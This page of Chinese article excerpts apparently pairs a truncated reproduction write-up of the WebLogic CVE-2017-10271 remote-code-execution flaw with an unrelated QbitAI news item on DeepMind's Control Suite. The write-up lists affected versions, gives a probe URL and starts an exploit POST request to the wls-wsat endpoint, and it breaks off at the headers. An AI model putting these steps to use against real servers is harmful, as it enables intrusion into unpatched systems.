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Weblogic(CVE-2017-10271)漏洞复现

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) 漏洞编号:CVE-2017-10271 漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。 受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。 A、环境搭建 不解释 B、漏洞利用: 1、初步判断:访问http://192.168.8.148:7001/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞 2、构造POST包进行测试,写入test.txt POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.8.148:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept...

如何让强化学习走进现实世界?DeepMind要用“控制套件”推动

本文来自AI新媒体量子位(QbitAI) 火遍全球的AlphaGo让我们知道了强化学习打游戏究竟有多6,这么强大的算法什么时候才能打破次元壁,走进现实、控制物理世界中的物体呢? DeepMind已经开始往这方面努力。他们昨天发布的控制套件“DeepMind Control Suite”,就为设计和比较用来控制物理世界的强化学习算法开了个头。 就像ALE(Arcade Learning Environment)极大推动了用强化学习打电子游戏的研究一样,DeepMind希望他们的Control Suite也能推动用强化学习控制实体的研究,比如说先让模拟环境中的机器人学会行走、游泳、搬东西等等。 Control Suite设计了一组有着标准化结构、可解释奖励的连续控制任务,还为强化学习Agent提供一组性能测试指标。 这些任务基于MoJoCo物理

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